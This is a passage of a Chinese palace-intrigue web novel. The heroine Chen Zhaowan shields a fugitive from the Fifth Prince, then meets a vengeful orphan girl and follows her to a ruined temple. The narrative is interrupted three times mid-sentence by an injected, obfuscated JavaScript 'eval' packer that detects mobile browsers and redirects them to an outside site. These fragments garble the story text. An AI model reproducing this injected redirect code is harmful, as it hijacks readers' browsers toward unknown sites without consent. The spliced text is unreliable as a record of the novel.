“姑娘……”海棠还欲再劝,但陈昭绾的语气不容反驳,只得领命下楼去查看情况。 少年端坐在木椅上,周遭尽是一身黑色衣衫的侍卫,他们将刀刃抵在那些散客的脖子上,眼底毫无波澜,如同无情的杀人机器一般一言不发。 只待主人下令,抵在那些人脖子上的刀便会渗入血肉,让人命丧当场。 “店家怎么还没来?”他手里把玩着一盏茶杯,皱眉不耐烦地说道。 “哎呦,殿下,您怎么来了?”自堂后走出一人,那人身上堆满了肥肉,他满脸堆笑地走到祁归身边谄媚道。 “将人拿下。”祁归说道。 店家来不及反应便被人反手钳制住,双膝一弯跪在地上。 “殿……殿下,这是作甚?” “我问你,可知方才有人当街行刺朝廷命官?” “哎呀,哎呀呀,小人冤枉啊!”店家连忙磕头喊冤。 “我冤你何事了?我都没说什么你就喊冤,莫不是……心虚?” 祁归似笑非笑地看向店家,眼底泛起冷意。 少年那双好看的眸子中无甚光芒,唯有漆黑一片,如同悬崖深渊般暗淡无光。 笑起来看上去天真无邪,实际上眼下藏着极深的城府,三两句话便能颠倒黑白,说得叫人哑口无言。 店家听到祁归的话心下顿觉说错了话,急忙收手不再喊冤,说道:“小的不知有人行刺朝廷命官啊,可是伤着殿下了?殿下的身子金尊玉贵可万不能受伤啊,小的,” 说话间他眼神闪避,吓得话都说不稳。 “小的是做小本生意的,不求大富大贵,只求衣食无忧,殿下口中所说的事小的一概不知啊。” “好,”祁归的耐心逐渐耗尽,再问下去也不会有任何他想要的答案,于是他不再和那人扯皮,轻笑一声和身边的人吩咐道:“将他的嘴堵起来。” 侍卫领命,从店家的衣服下摆上扯下一块布,团成一团塞进他的嘴中,后者便识趣地没了声响。 “搜!”祁归言简意赅地说道,语毕,他的余光看到二楼拐角处有一名侍女匆忙走进了雅间。 他抬手示意林川靠近,附在他耳边说了两句话,带着几人起身上楼。 “姑娘。”海棠回到房间中,心神未定,“有人朝这边来了。” 陈昭绾看到她的神色,心下了然,随后听到门外响起一阵急促地脚步声。 “小荷,先带他躲起来。”陈昭绾眉头微蹙,当机立断地说道,“再点上些熏香。” 小荷纵使有万般恐惧,在这紧要关头也不敢拖后腿,她带着男人绕到屏风后面,那里的角落处赫然摆放着一只柜子,不起眼到若是无心留意便会错过的程度。 “公子便躲在这里罢。” 男人点头,双腿跨了进去。 小荷还未完全合上柜门,便听到雅间的门被再次打开,这次相较于上次力道明显重了许多,准确地说应该是被人砸开的。 祁归在门外负手而立,身后跟着几名侍卫,无形之中让人忍不住打个寒噤。 小荷的手下意识地抖了起来,她立马悄无声息地合上了柜门,走出屏风。 陈昭绾的目光停留在祁归身上,不动声色地起身行礼道:“民女参见五皇子殿下。” “既知是五皇子,为何不跪?!” 站在祁归身旁的侍卫见陈昭绾如此大胆,厉声质问道。 “回大人的话,民女自幼患有腿疾,不便行跪拜之礼,民女心想五皇子殿下宽宏大量,定然不会同民女计较。” 陈昭绾的话让侍卫一时哑言,覆在刀柄上的手无意识地紧了几分。 他小心地看向身边的祁归。 没料想到的是,祁归不怒反笑,说道:“你与我的一位故人倒是有几分相似,尤其是这双眼睛。” 祁归盯着陈昭绾的眼睛,似乎是在试探却又像是在拼命寻找故人的踪迹,想要从这素不相识的女子身上看到周姁宜的影子。 可他忘了,周姁宜早死了,是他亲手杀的。 想到这儿,祁归微不可察地深吸了一口气,回神听到眼前女子应对自如道:“殿下怕是认错了,民女初到京城,从前只是听过五殿下的名讳,今日才得以见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509719|170566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一见真容,果然是……” 陈昭绾停顿了一下,抬头看向祁归,淡淡浅笑继续说道: “丰神俊逸,貌比潘安。” “竟是如此聪慧,你是哪家的?”祁归低头看了眼手掌,不知不觉间手上竟是掐出了血迹。 陈昭绾道:“回殿下的话,家父乃是御史中丞赤申琅。” “原是赤申大人家的,不过我曾听说赤申大人家仅有一女,名唤惊鹊。” 祁归面带笑意,陈昭绾却未从他的语气中捕捉到一丝笑意。 “殿下事务繁忙,恐是记错了,惊鹊是舍妹的名讳。臣女幼时体弱,常寄养在祖母膝下,不曾在部落生活,前些年家父随陛下入京,说这平京城的风水养人,于是便将臣女接回家中,臣女名唤昭绾。” 陈昭绾对答如流。 早先入府时陈夫人并未强迫她改名换姓,只道在外有人问起时,便说自己姓赤申。 新朝对靖人的打压颇多,赤申的姓氏能为她省去许多麻烦。 “那赤申姑娘可知方才有人当街行刺?”闲话点到即止,祁归重新拾起了此行的目的。 “臣女不知。”陈昭绾说道。 “你是真不知还是假不知?藏匿逃犯可是要杀头的重罪。” 祁归眯了眯眼,俯身靠近陈昭绾。 二人相隔不过寸步,辅一俯身,祁归深邃的五官在陈昭绾面前便愈发清晰。 高挺的鼻梁几乎是要和陈昭绾贴上了。 他的目光中带着审视与怀疑,海棠心下一沉,顿感不妙。 谁知陈昭绾勾起唇角,扬头说道:“臣女愚钝,殿下可否点明。” “你知道我在说什么。” “殿下若是怀疑臣女可自行搜查。”陈昭绾并无扭捏之意,她果断地说道。 祁归满意地直起身子,对身后的人做了个手势。 其余人立即散开,分布在房间四周开始搜查。 海棠不易察觉地看了眼屏风后的动静,心中默默祈祷。 等待众人搜查的空当,祁归越过面前的陈昭绾坐到桌子旁,气定神闲地给自己斟了杯茶喝。 原本冒着氤氲蒸汽的茶水早已失了温度,杯中的不过是冰冷且带着涩味的苦水罢了。 不肖想便知有多难喝。 “那是个靖人。”祁归蓦地出声试探道。 “殿下不必试探,臣女真心不知。” “如今是燕戎人的天下,靖人再猖狂也难起风浪,往事就如这茶水一般,一去不复返。” 说罢,他握着茶杯的手向下一翻,杯中的茶水尽数倾下。 “殿下怕是忘了自己的母妃也是靖人了。”陈昭绾毕恭毕敬地回道。 祁归起身,宽大的肩膀完全遮盖住了陈昭绾的身子,紫色蟒袍上残留着檀香的味道,细细辨别还能嗅到淡淡的草药香。 然而药香的味道极淡,像是有意隐瞒一般。 他抬手钳制住陈昭绾的下颌,强迫她看向他,指尖在她面颊渗血的伤口上摩挲。 陈昭绾能够清楚地感知到他常年握刀的虎口生出了一层薄茧。 “你可知,单凭这句话我就能让你人头落地?” 说罢,覆在陈昭绾伤口上的手指用力,鲜血汩汩流出。 不过一年未见,他的脾性已经让陈昭绾感到陌生。 他早已不是从前那个桃树下的小瞎子祁归,或者说从前的他是装的,如今的他才是真正的祁归。 陈昭绾吃痛地倒吸一口凉气,眸色染上一缕杀意。 “那殿下和肉铺的屠夫有何差别?”陈昭绾忍痛说道。 祁归的表情缓和了许多,他轻笑出声,手上用力松开陈昭绾的面颊,说道:“好一个伶牙俐齿的丫头。” “殿下谬赞。”陈昭绾从善如流地应下祁归的嘲讽。 “还没搜完吗?!”祁归皱眉厉声询问道,语气里暗含了些不耐烦。 约莫是在陈昭绾这里吃了瘪才不爽的。 “回禀殿下,只剩屏风后面尚未搜查。”方才斥责陈昭绾见皇子不跪的那名侍卫走到祁归面前,拱手作揖。 “屏风后面?”祁归的视线在屋中巡视一番,最后定定落在屏风后的金丝楠木柜上。 他眯起眼,余光观察着陈昭绾的神色,而身后侍卫的佩刀已然出鞘三分。 陈昭绾神色如常,与海棠的目光也随之望向那处,小荷不自知地屏住呼吸,心跳快到难以遏制。 祁归起身,想要走到金丝楠木柜前查看,雅间门外却响起了一名侍卫的声音。 4. 第四章 祁归驻足在金丝楠木的柜子前,修长的手指刚刚覆上柜沿,正要打开便听到侍卫的声音自他身后不远处传来。 于是手上的动作迟疑片刻,应声回头,问道:“何事?” “启禀殿下,方才在西厢房擒住一名受伤的靖人。”侍卫拱手作揖,毕恭毕敬地说道。 祁归心底升起些疑惑,他皱了皱眉问道:“确定吗?可是街上行刺之人?” “殿下恕罪,属下眼拙,未能识得一二,还请殿下亲自前往,查看一番。” 若是换做平常,祁归也便罢了,可如今兹事体大,不仅危及朝廷命官性命还可能牵扯到前朝之事与靖燕关系,万不可放过任何可疑人员。 祁归偏头在陈昭绾身上打量片刻,后者立于雅间的靠门的一边,毫不掩饰地与他四目相对,回应道:“殿下慢走。” 眸中带着些似有似无地笑意,好似拿准了祁归必会离开的动作。 祁归陡然升起被人窥探内心的不悦,收回了搭在金丝楠木上的手,下令道:“走!” 说完,他带着手下的几名侍卫走出雅间,所有人散去,房间内重归寂静。 海棠长长地松了口气,小荷也吓得瘫软在地上。 两人朝陈昭绾望去,她瘦削的背紧紧贴在墙上,显然心里绷的那根弦儿也是刚断。 “姑娘今日之事太过冒险了。”海棠打心底一阵后怕。 不敢想,如果祁归打开了那木柜,等待她们三人和赤申府的会是什么?是藏匿靖人、勾结前朝的谋逆之罪,届时便是满门抄斩。 “海棠,你猜那靖人身量如何?是胖是瘦?是高是矮?” 海棠再看,陈昭绾俨然缓了过来,她缓缓走到桌前,抬起指尖轻轻捻灭燃着的檀香,香灰的碎屑簌簌落进香炉中。 初闻此话,海棠心底还有些疑惑,但她很快便会了陈昭绾的意,说道:“姑娘是说……” 那人是您特意安排的? “嗯。”陈昭绾没让海棠把话说完,“时辰不早了,宫宴几时开始?” “不知。” “约莫着欢迎使臣的队伍应该进皇城了。”陈昭绾看向朱雀大街的尽头,那是皇城的方向,依稀可以辨认出军队末端的残影。 陈昭绾赌的便是祁归急于回宫复命。 宫宴在即,祁归身为五皇子若是不能到场,那便是驳了皇帝的面子,如此大动干戈地寻着刺客也不过是逢场作戏罢了…… 毕竟谁人不知,五皇子与大皇子之间的积怨已久,如今皇帝虽明面上未有立储之意,但朝堂之间早已暗流涌动,大臣们自动分作三派。 一派当属大皇子祁宸,一派则以外戚为首属二皇子祁醴,而第三派因着皇帝的原因,明面上成为了中立的一派,实际上暗中与五皇子祁归来往颇为密切。 好巧不巧的是,今日大街上被人行刺的莫止是大皇子那边的人,好在祁归反应及时,刺客未能伤他分毫,然而总归是要给个交代的。 于是便有了这么一出兴师动众的戏码,不过是做给祁宸和皇帝看的,而她……只是顺水推舟罢了。 “我寻人打晕了一名燕戎士兵,易容成靖人的模样,趁其不备悄悄拖进了西厢房,事出紧急,只得出此下策。”陈昭绾轻声说道。 “姑娘,五殿下并非是好糊弄的人,姑娘可想好若是被人发现又该如何?!” “此招虽险,但还是有几分胜算的,他若是有意也不会让我轻易支走。” 不出所料,祁归果然草草了事,陈昭绾抬手覆在唇上,示意海棠噤声,侧耳倾听。 门外动静渐小,隐约听得见祁归的说话声和玄甲士兵离开时盔甲发出的碰撞声。 陈昭绾推开雅间的门扉,一双绣鞋迈过门槛踏上二楼走廊的木板。 祁归的身影映在陈昭绾的瞳孔中,后者似有察觉般地身形微顿,回头看向站在二楼的人。 他看到陈昭绾勾起唇角对他轻轻一笑,随后像是想起了什么似的,对身边的林川吩咐道: “派些人手盯紧这里,再另外寻块上好的玉料打支簪子。” “是。”林川点头。 陈昭绾目送祁归消失在门框拐角处,她的目光转向正堂中间正在松绑的店家,对方揉了揉被绑得酸痛的手腕,回头与陈昭绾对视后微微点头,随后二楼的身影便消失在雅间内。 “公子可以出来了。”陈昭绾轻声说道。 角落处的柜子被人缓缓打开,里面靖人长相的男子慢慢起身走了出来,见陈昭绾回头,拱手作揖道:“多谢姑娘舍命相救,大恩大德无以为报。” 男人声音如岫玉般温润,听来令人如沐春风,眼波流转间更是令人心生神往,陈昭绾看着他那双带有靖人血脉的眼睛出神。 过去的回忆在脑海中闪回,往日在宫中读诗,常常不解诗人为何能够写出“每逢佳节倍思亲”的诗句,没想到她也会有睹物思人的一天。[1] “这是我随身的匕首,今日赠与姑娘。” 男子在腰间摸索片刻,拿出一把短小的匕首递于陈昭绾面前说道:“便以此匕首为信物,姑娘日后若有用得到在下的地方,尽管开口。” 那匕首细看不像燕戎制式,燕戎人属北方游牧民族,独特的生存环境导致他们的臂力要优于靖人许多,惯常使用的都是长刀一类的武器。 而这把匕首短小精悍,刀柄处还有若隐若现地金乌纹样,那是大靖的信仰。 在看到金乌纹样时,陈昭绾神情微怔,呆愣地说道:“海棠,你去寻些烈酒和伤药来,小荷你去外面守着。” 待屏退二人,陈昭绾随即换了模样笑道:“我一介女流要这匕首有何用?” 男子听得有些窘迫,正要收回匕首再做打算,便听到陈昭绾话锋一转,抬手接过了匕首。 “不过……公子一番好意,我便收下了,只是有一事不知,还请公子解惑。”陈昭绾细细打量着眼前此人,眼底之意叫人看不明白。 “姑娘请讲。” 陈昭绾将手中的匕首拔刀出鞘,利刃泛着冷光,折射出她清丽的面庞,上挑的眼尾与下压的眉宇相映衬间,端的是一副普渡众生相,可那锐利的目光又让人莫名看出两分杀意与三分野心。 透过她的眼睛,男人脑海中再现出金乌神女的神像,他眼睛瞪大,显然是有些震惊,世间竟会有如此相像之人。 正欲再讲,却听得陈昭绾摆弄着匕首,问道:“若我没记错,这把匕首应是前朝御赐吧?公子可识得前朝大理寺卿,江麟烨?” 听到这个名字,男人并未作出反应,他没有正面回答陈昭绾的话,反倒问道:“姑娘究竟是何人?” 陈昭绾看出了男人的紧张,莞尔一笑说道:“我的身份一炷香前便说与五殿下听了,我想公子应该也听得一二,至于为何会识得前朝大理寺卿……” 陈昭绾放慢了语速沉吟道。 “大概是一面之缘吧。”说到这儿,陈昭绾漆黑的眼底为不可察地亮了三分。 靖朝是为三年取士一次,灭国前的最后一次科考时间是为靖晏十二年,什么情形陈昭绾已经回忆不清了。 只记得那年的状元是个极漂亮的少年郎,面圣时父皇养眼要他做驸马许给她,但当时周姁宜早已芳心暗许,死活不肯答应。 靖惠帝拗不过她,这件事便不了了之了。 后来短短两年时间,江麟烨官至大理寺少卿,是靖朝少有的百年难遇的奇才。 “我见公子与她眉眼相似,又有其信物,心下觉得公子定是与他相识,便想着若是公子能引荐一番,与其叙旧。” 燕朝入主中原后,前朝大多数官员除去投降的那些,其余的人大多都寻不到任何音讯,江麟烨和他们一样,陈昭绾探听消息一年多,也未寻到她的任何踪迹,就如在这世间消失了一般,生不见人死不见尸。 陈昭绾的一番话与那怀春少女别无二致,男人听着心下信了三分。 男人沉吟片刻,并未回答她的问题,他不能确定陈昭绾的用意,若是轻易泄露了江麟烨的消息,那他们的复国大计可要功亏一篑了。 “公子若是不愿便罢了,”陈昭绾见对方不便多言,于是没再强求,说道: “我可送公子出城,还望公子日后见到江大人,替我带句话,就说……金乌蔽日,天佑我朝;玄衣天女,长枪为器;止戈平权,救苍生于水火。” 陈昭绾的声音不大,但雅间内寂静的氛围让这几句话显得格外掷地有声。 男人有些吃惊,陈昭绾说的这几句话是前朝翎阳公主出生时国师的断言,即使是前朝也仅有寥寥几人知道。 她怎会知晓这几句话?! 强压下心底的疑惑,男人答道:“好。” 陈昭绾大致确定了江麟烨还活着的消息,心下也松了口气。 恰巧海棠寻了伤药回来,在门外轻叩,说道:“姑娘,是我,海棠。” “进来。”陈昭绾说道。 海棠推开门扉,手中端着一壶烈酒走了进来。 她将烈酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他走进陈昭绾身边,从衣袖中变戏法似的拿出一身女人穿的衣裳,打眼一看与陈昭绾身上那身简直一模一样。 “多谢王掌柜相助,今日倒是连累了你。”陈昭绾接过衣服客气地笑道。 “赤申姑娘不必客气,小的这家店还是靠南七先生和赤申姑娘才得以盘活,替姑娘做些事也是应该的。” 此时的王掌柜已然没有了方才在祁归面前那贪生怕死的可怜模样,取而代之的是眼中透出的精明。 陈昭绾心下微动,虽有几分担心,但余光流转到屏风上却还是转了念头,现下最紧要的是寻回靖朝旧部,其余的交由方棠雀处理便好。 “辛苦掌柜了,稍后有事我再命人寻你。”于是她说道。 “那小的先退下了。”王掌柜满脸堆肉地带着小厮退出了雅间。 “公子包扎好后便将这身衣服换上罢。”陈昭绾摩挲着桌子上的布料,对屏风后的人说道。 那人闻言停下了悉悉索索的动静,从屏风后走了出来,说道:“多谢姑娘。” 窗外的小巷中响起一阵嘈杂声,淹没了男人的声音,尽管如此陈昭绾还是听了个十成十。 陈昭绾听着那声音有些许熟悉,她皱眉,目光透过窗子望向邻街,一道熟悉的身影自她眼前一闪而过。 她怎么在这儿?!心底的疑惑让她眉间的山隘愈发紧蹙。 “姑娘,怎么了?”海棠见状问道。 “无事,”陈昭绾将目光自窗外移开,说道:“只是觉得这窗外的桃花开得艳丽。” 海棠顺着她的方向看去,却并未看到陈昭绾口中的桃花,眼前留给她的只有一片光秃秃的树杈:“姑娘这是在拿海棠寻开心吧。” 陈昭绾没再接话,只是浅浅笑了下,说道:“公子,衣裳可换好了?” 男人怯怯地从屏风后走出来,表情看上去有些许不自在,海棠与小荷见状强忍下笑意,夸道:“公子真是沉鱼落雁、闭月羞花呢。” “二位姑娘别打趣我了。” 陈昭绾在他身上打量两眼,觉得对方身上少点东西,她拿出男人送她的匕首,在手上划开道口子,鲜血溅在男人素色的衣裳上。 “姑娘!”海棠惊呼道。 陈昭绾全然未闻,默默拿起桌上剩下的烈酒倒在手上包扎好,随后她将斗笠递给男人,吩咐道:“海棠、小荷,你们送公子出城。” “是。” 5. 第五章 沿着小贩吆喝的街巷望去,比那耀眼的霁青色衣裳更先闯入陈昭绾眼帘的,是少女的喧嚷之声。 她听得赤申惊鹊高呼:“捉贼啊!捉贼啊!”。 眉头不由得微微一蹙,回首对身前那男子道:“此地不宜久留,公子须得尽快动身,我还有要事,先行告辞。” 她起身向男人行了一礼,快步离开了茶肆。 赤申惊鹊早上用过早食便急匆匆地出了门,生怕晚走一步便会被连嬷嬷逮着,命令她带那个便宜还讨人厌的姐姐一同上街。 本以为溜之大吉便能够平安无事,上街后便能够躲过清晨的劫难,没想到方才人多眼杂,一个没看住她的钱袋子竟被天煞的贼人摸了去。 那可是她不久前才领的例钱,新看上的簪子还没买到手,怎能说放手就放手? 看着前方一闪而过的贼子,手中还握着她的钱袋,心中怒意渐起。 她慌忙唤上婢女追将过去,一路追着贼人到窄巷中。 巷子幽深,青砖斑驳,经年的高墙横于几人前方,少年无路可走。 昨日将将降了春雨,地面上覆盖的泥土还未干透,赤申惊鹊提起裙摆走进窄巷中,绣鞋小心翼翼地踏在湿滑的石板上。 她在两名少年前站定,仰起头得意地说道:“没路了吧,快把钱袋还我!否则我就要报官了!” “想要?”其中拿钱袋的那名少年举起钱袋在空中晃了晃,炫耀似的说道:“那就自己来拿。” 说罢他迅速将钱袋收回手中,脚下用力轻轻一点便跃上墙头,回头笑着看向赤申惊鹊。 微风吹动少年额前发丝,眼底尽是戏谑之意。 “你!”赤申惊鹊一时语塞,还未等她想出回怼的话,少年胸口便骤然挨了一脚。 在场几人竟无一人看清来人模样,那人身法极快,眨眼间少年狠狠坠下墙头,仰躺在地面上疼得嗷嗷直叫。 那一脚,陈昭绾只用了五成的力,但足够让少年疼上一阵。 她身形微动轻落在少年身旁,冷冷地斜睨了他一眼。 少年捂着胸口移开了眼睛,不禁升起一丝恐惧之意。 事情完美解决,赤申惊鹤和婢女铃儿在一旁看得愣怔,没想到两人追了这么久的贼子,陈昭绾一脚就把人踹到地上了? 随后她俯身在少年身上翻找片刻,不多时便寻出了赤申惊鹊丢失的拿袋子银钱。 她在手中掂量两下,还给赤申惊鹊:“收好,莫要再丢了。” 赤申惊鹊慌忙收了钱袋,抬眼看向陈昭绾,混杂着诸多疑虑和复杂情绪。 陈昭绾似有察觉地回看回去,在即将对视上的那一刻赤申惊鹊快速移开了目光,欲盖弥彰地说道:“看什么?!” 陈昭绾嗤笑着摇头,算了,也没指望她道一声谢。 而另一名少年,也就是被陈昭绾踹下墙头的那名少年的伙伴像是刚从惊愕中反应过来时,悄无声息地走到地上的人身边,提起对方的腋下想要将人带走。 “站住。”陈昭绾说道,“小翠,将两人押送官府。” 她并不打算放走两人。 光天化日之下做出这等偷鸡摸狗的事情,若幼时便宽恕放纵,大了可还了得? 将二人送至官府,吃些教训也好,权当替他们的父母教诲一二了。 “等等,我看谁敢动我的人!”随着一声厉喝,陈昭绾感受到身后有一股强劲的腿风袭来,她向旁边微微闪身,叫少女落了个空。 对方重重落下,在地面上滚了个来回,尚未站稳便听到身后的人问道:“你的人?” 明显是有些疑惑的。 她回头看去,对方眯了眯眼,低头审视着她。 这种蔑视一切眼神让她想起了那群燕戎人,天生瞧不上他们这些血脉低贱的靖人,心情好时赏两个铜子,若是让他们不痛快了那便是一顿毒打,打完还要啐两口在脸上。 怒火一时间涌上心头,她来不及细想陈昭绾眼神中与那些燕戎人不同的东西。 蓄力一拳朝陈昭绾打去,被对方挡了下来。 “为什么要叫人做些鸡鸣狗盗的营生?” “少管我!”少女全然不管陈昭绾的问题,眼底的不甘化为怒气,看得陈昭绾微微一愣。 她这才看清少女的容貌,竟也是靖人模样,一双眼睛黑如曜石,眼中闪着亮光,穿得破破烂烂,身上的衣服不知补过多少补丁,发丝只及肩头。 身后两名少年也是同样的装扮,较之少女,脸上多了些许灰尘。 这一瞬间的出神让少女逮了空,她的右腿如鞭子般扫去,直取对方腰侧,逼得陈昭绾后退两步,堪堪稳住身形。 还未等她站稳,少女便已贴身逼近,手肘如刀,击向她的下颌。 陈昭绾双臂交叠挡下这一击。 她迅速反应过来,由防守变为进攻,腾空跃起右手成拳朝少女挥去,衣袂翻飞间一拳落在掌心。 少女被陈昭绾带起的劲风震得后退半步,很快稳住身形,还未来得及反应便被陈昭绾扼住喉咙,抵到身后的墙上。 “你是靖人?”她这才来得及问出自己的疑惑。 少女顿感喉间溢出血腥之气,她强咽下一口血沫,朝呆住的两名少年打了个手势,示意两人快走。 如今胜负已定,她必是打不过陈昭绾的,不管怎样先保住阿川和阿河再说。 随即她挑眉说道:“干你何事?你们这群燕戎人用着卑贱的手段打败了大靖从此一统江山就以为平安无事了吗?以为大家都会遗忘过去吗?不会的!燕戎欠大靖的从来不止一点!燕戎的屠杀所有大靖人都不会忘记,我的父亲母亲全部丧命于燕戎人的刀下,我阿爷气急攻心,如今早就时日不多,还有他们的父母。” 阿川和阿河并未丢下自己的老大逃走,反而定定地站在原地,忠心之意任谁都不会联想到他们方才做出的事情。 陈昭绾有些动容,她掐在少女脖颈上的手逐渐放松,静静地听她说道:“通通命丧于那场残酷地屠杀之中,正因为燕戎我们才沦为无家可归的乞儿、孤儿,每日以乞讨为生,遇到心情不好的燕戎人便是一顿肆意殴打,若不是我偷学了些武功,他们不知会被欺负成什么样子,我不会放给你们燕戎人,我永远都不会忘记燕戎对大靖所做的一切,我要你们燕戎人血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509721|170566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 债血偿!” 少女的情绪愈发激动,她怒目圆瞪,每一句话、每一声质问都像是在陈昭绾身上捅下的刀子,一处处伤疤被残忍扒开。 鲜血与少女的眼泪一同落下,如同寂静深夜里轰然响起的一声惊雷,在陈昭绾的心底刻上一道又一道的烙印。 所有人都沉默起来,一瞬间让在场的一众人等对那场燕戎与靖人之间的战争有了实感,命丧黄泉的百姓、流落街头的孩童。 而其中触动最深的便是赤申惊鹊,她自小出生官宦世家,母亲是大靖威武大将军的嫡妹,父亲是燕戎正二品大员,上头更是仅一位兄长。 从出生起围着她转的,纵非天下,亦有半壁江山。 家里娇养出来的金枝玉叶又怎会知晓流离失所的苦楚呢? 若非少女今日之言,赤申惊鹊亦如往日般,沉溺于自己的小天地中,对战事懵懂无知。 她小心翼翼地偏头看向陈昭绾,对方垂着眼睑,巧妙地掩盖了眼中的哀伤,不曾向外人流露出一丝脆弱的神情。 赤申惊鹊自觉无趣地收回目光,早该料到这人是个面瘫脸的。 她撇撇嘴,骤然听到陈昭绾的声音响起,说道:“我能去看看你阿爷的病吗?” “对呀对呀,让我们去瞧瞧你阿爷的病,说不定还有转机呢?”赤申惊鹊忙接话道。 少女的目光在二人身上犹疑,陈昭绾也在听到赤申惊鹊地话时下意识看向她。 赤申惊鹊被二人看得有些不好意思,说道:“看什么?我知道我貌若天仙,但你们总盯着我看我也会不好意思的。” 少女鄙夷地看了她一眼,狐疑地问道:“你们可通医术?” “略知一二。”陈昭绾简明扼要地答道。 本就在凑数的赤申惊鹊未曾料想对方竟是有真才实学的,她也狐疑地问道:“哎,坑蒙拐骗的事情我赤申惊鹊做不来。” 陈昭绾瞥了她一眼,没说话。 少女的目光在二人之间犹疑,最终还是带几人拐入了一条偏僻的巷子里,说道:“你们跟我来罢。” 如今阿爷命在旦夕,只得死马当活马医。 她们七拐八绕走了大约十多里地的样子后出了城,赤申惊鹊看着愈发荒凉的景象,心底不禁升起一丝恐惧。 她拽着小翠的衣袖躲到对方身后,小声说道:“小翠,我害怕。” 小翠原本心底就有些不安,被她这么一弄也慌了神,忙道:“姑娘您别拽着奴婢啊,奴婢也害怕。” “你们若是担心遇险,现下便可折返。”本就心生警惕的少女听到这句话,更是冷冷地说道。 这些大户人家娇滴滴的姑娘哪会闲来无事怜悯他们啊?况且……她也不需要人怜悯。 “不要!”赤申惊鹊直起身子,斩钉截铁地说道。 似是想要证明她的决心。 少女有些愣怔,大概是没想到赤申惊鹊会毫不迟疑地说出这般铿锵有力地话罢。 说话间,眼前的景象由城中的繁华逐渐转为落败,周遭再鲜少能够捕捉到人走动的痕迹,映入众人眼帘的唯余一间生长在杂草丛中破败不堪的庙宇。 6. 第六章 赤申惊鹊和小翠站在原地,呆愣地看着这所破败的容身之所,眼前景象她前所未见,自不必说去想象人在这里如何居住了。 这所破庙看起来像是废弃已久,四周的杂草与总角时期的孩童一般高,人站在里面仅仅能够看到脑袋。 门前倒是干净许多,明显是被人有意清掉的,一条崎岖不平地小路从几人面前延伸至破庙前,赤申惊鹊艰难地提起裙摆踏上这挑小路。 今日出门簪子没买到,反而搭上一条裙子。 大殿的正门年久失修,轻轻一碰便垮掉一侧,上面布满的陈年灰尘瞬间散落,呛得众人直咳。 赤申惊鹊掩住口鼻,边咳边疑惑地看向少女和另外两名少年,真心诚意地发问道:“怎会如此破败?” 她无法想象究竟何人才能忍受这样的环境,即使是赤申府最下等的女使婆子都住得比这里好。 “赤申姑娘乃是金枝玉叶的千金之躯,自是无法体恤我等贱民。” “这里年久失修,看样子至少是前朝靖晏年间的了。”陈昭绾抬手在门框上摸了一层厚厚的灰。 她一声不吭地观察着庙中的结构,辅一进庙,供台上所供奉的巨大雕像便引去了她的目光。 经过岁月的侵蚀石像的容颜早已不甚完整,却依稀可见那惊为天人的美貌,一双凤眼怜悯众生,眼下脱落的斑驳痕迹似极了未曾干涸的泪水。 好一副神女垂泪图。 “你认得这石像?”少女注意到陈昭绾盯着石像看了半晌,神情有些古怪,于是问道。 “前朝翎阳公主。” 大靖翎阳公主,靖朝末帝周光武的嫡女,是靖朝人奉为神明的公主,自出生起便受万人朝拜,被视为祥瑞之身。 相传其出生时天现奇观,三足金乌翱翔于天际将太阳遮盖,周身散发出玄色光芒,而“金乌”亦是大靖皇室的纹样,是靖朝祥瑞象征。 因此宜昌公主的降生为靖人带来了希望。 曾有预言,天命金乌,降而生靖。她是大靖之国运所在,如今公主携金乌降生,自是靖朝国运转机之时。 陈昭绾迅速敛了方才的晦暗不明地神色,一双凤眼与石像上的如出一辙,就连那为世人哀悼的悲悯目光都神似七八分。 “你竟认得?!” “她是靖朝人,怎会识不得?”未等陈昭绾回答,赤申惊鹊先行说道。 少女的眼中明显泛起亮光,陈昭绾看向赤申惊鹊,她常是这样,口无遮拦。 此时阻止她已来不及,只得像是没有听到一般,说道:“先带我去看看你阿爷罢。” 少女愣愣点头,正要带人绕过石像往里走,却听到陈昭绾警觉一声,怒喝道:“谁?” 众人齐齐向陈昭绾所说的方向看去,还未反应过来,她已然动作迅速地闪身过去,一把扼住对方咽喉掼入摇摇欲坠的墙中。 “停停停,撒手撒手。”那人表情狰狞地拍打着陈昭绾的手,不过因着受制于人,力道便显得小了许多,倒像是狸猫在撒娇挠人。 陈昭绾不听,只是手上的力道越收越紧。 “女侠饶命,女侠饶命,在下并无恶意。” “何人?” “在下,在下,女侠能否先放手?我要无法喘息了。” “你先说。” “好,在下是城中医馆的大夫,今日上山采药偶然途径此地,见有人交谈,便想着进来瞧瞧,谁知姑娘一言不合竟想要了在下的性命。” “花言巧语。”陈昭绾冷漠地评价道。 严既明哑巴吃黄连——有苦难说,怎么实话实话还遭人白眼呢? “严大哥?原来是你啊!”方才陈昭绾身形过快,少女没能看清来人,如今定睛一看惊呼道。 “阿滢啊,你快叫你朋友放开我。” “你们认识?”陈昭绾回头问道。 